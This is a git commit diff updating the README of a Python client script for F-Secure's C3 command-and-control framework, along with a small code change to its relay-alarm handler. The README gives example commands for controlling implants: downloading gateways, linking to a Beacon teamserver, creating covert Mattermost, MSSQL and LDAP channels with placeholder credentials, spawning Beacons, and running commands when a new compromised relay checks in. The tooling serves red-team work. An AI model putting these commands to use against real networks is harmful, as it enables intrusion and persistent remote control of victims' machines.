C3-Client: README updated.

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Mariusz B. / mgeeky 2021-03-29 13:12:13 +02:00
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## F-Secure's C3 Client script # F-Secure's C3 Client script
This is a simple [F-Secure's C3](https://github.com/FSecureLABS/C3) client Python script offering a few functions to interact with C3 framework in an automated manner. This is a simple [F-Secure's C3](https://github.com/FSecureLABS/C3) client Python script offering a few functions to interact with C3 framework in an automated manner.
It connects to the C3 WebController (typically the one that's listening on port _52935_) and allows to issue API requests automating few things for us. It connects to the C3 WebController (typically the one that's listening on port _52935_) and allows to issue API requests automating few things for us.
### Usage: **Word of caution**:
The script may be unstable as its not that yet thoroughly tested. Consider adding `--dry-run` flag before using it to simulate HTTP POST requests instead of sending them to make sure it'll work as expected.
Also, some commands offer Agent filter criteria such as `--gateway-id`, `--relay-id` or `--channel-id` options. Use them to limit scope of this script's actions towards specific set of devices (Gateways, Relay, channels, etc). Otherwise the script picks broad range of nodes to commander. When for instance no filter criteria are given, all of the found channels/relays/gateways will receive commands.
## Usage
The script offers subcommands-kind of CLI interface, so after every command one can issue `--help` to get subcommand's help message. The script offers subcommands-kind of CLI interface, so after every command one can issue `--help` to get subcommand's help message.
**General help**: ### General help:
``` ```
PS> py .\c3-client.py --help PS> py .\c3-client.py --help
@ -46,7 +53,7 @@ optional arguments:
HTTP Basic Authentication (user:pass) HTTP Basic Authentication (user:pass)
``` ```
**Example of a sub-help**: ### Example of a sub-help
``` ```
PS D:\> py c3-client.py http://192.168.0.200:52935 alarm relay --help PS D:\> py c3-client.py http://192.168.0.200:52935 alarm relay --help
@ -127,9 +134,9 @@ Currently, following commands are supported:
- `beacon` - Adds peripheral Beacon or in other words spawns new Beacon on Relay - `beacon` - Adds peripheral Beacon or in other words spawns new Beacon on Relay
### Example Usage ## Example Usage
**Example 1** ### Example 1
This example shows how to keep all of your Relays pinged every 45 seconds: This example shows how to keep all of your Relays pinged every 45 seconds:
@ -155,7 +162,7 @@ PS D:\> py c3-client.py http://192.168.0.200:52935 ping -k 45
``` ```
**Example 2** ### Example 2
Ever suffered from a poor C3 bandwidth or general performance? Worry not - you can easily clear/remove message queues from all of your channels with this simple trick: Ever suffered from a poor C3 bandwidth or general performance? Worry not - you can easily clear/remove message queues from all of your channels with this simple trick:
@ -198,7 +205,7 @@ PS D:\> py .\c3-client.py http://192.168.0.200:52935 channel all clear
``` ```
**Example 3** ### Example 3
In this example setup an alarm that triggers upon new Relay checking-in. Whenever that happens, a command is executed with placeholders that will be substituted with values extracted from Relay's metadata: In this example setup an alarm that triggers upon new Relay checking-in. Whenever that happens, a command is executed with placeholders that will be substituted with values extracted from Relay's metadata:
@ -252,8 +259,51 @@ PS D:\> py c3-client.py http://192.168.0.200:52935 alarm relay -g gate4 --execut
``` ```
## Other notable use-cases
### Author
### 1. Download gateway
py c3-client.py -v http://192.168.0.200:52935 download gateway c:\output\directory -G gate6 -O 192.168.0.200 -x
### 2. Connect to Teamserver
py c3-client.py -v http://192.168.0.200:52935 connector gate5 turnon teamserver 192.168.0.200 2223
### 3. Setup Mattermost channel
py c3-client.py -v http://192.168.0.200:52935 channel mattermost create gate5 http://192.168.0.210:8080 foobar c3g7sokucbgidgxxxxxxxxxx
### 4. Setup MSSQL channel
py c3-client.py -v http://192.168.0.200:52935 channel mssql create matter6 mssql-server.contoso.com master spt_foobar contoso\alice Password1! true
### 5. Setup LDAP channel
py c3-client.py -v http://192.168.0.200:52935 channel ldap create matter5 dc1.contoso.com alice@CONTOSO.COM Password1! CN=alice,CN=Users,DC=contoso,DC=com
### 6. Spawn Beacon
py c3-client.py -v http://192.168.0.200:52935 spawn beacon matter5
### 7. Clear all channels
py c3-client.py http://192.168.0.200:52935 channel all clear
### 8. Clear network
py c3-client.py http://192.168.0.200:52935 close network gate5
### 9. Alarm
py c3-client.py http://192.168.0.200:52935 alarm relay -g gate5 --execute "powershell -file speak.ps1 -message \`"New C3 Relay inbound: <domain>/<userName>, computer: <computerName>\`"" --execute "cmd /c new-relay.bat <relayId>"
### 10. Ping Relays
py c3-client.py http://192.168.0.200:52935 ping -k 45
## Author
``` ```
Mariusz B. / mgeeky, '21 Mariusz B. / mgeeky, '21

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@ -1008,8 +1008,6 @@ def onAlarmRelay(args):
print('[+] New Relay checked-in!') print('[+] New Relay checked-in!')
printFullRelay(newestRelay, len(currRelays)) printFullRelay(newestRelay, len(currRelays))
time.sleep(2)
try: try:
if args.execute != None and len(args.execute) > 0: if args.execute != None and len(args.execute) > 0:
for command in args.execute: for command in args.execute:
@ -1028,6 +1026,8 @@ def onAlarmRelay(args):
cmd = cmd.replace("<gatewayName>", newestRelayGateway['name']) cmd = cmd.replace("<gatewayName>", newestRelayGateway['name'])
print(f'[.] Executing command: {cmd}') print(f'[.] Executing command: {cmd}')
time.sleep(3)
print(shell(cmd)) print(shell(cmd))
print('[.] Commands executed.') print('[.] Commands executed.')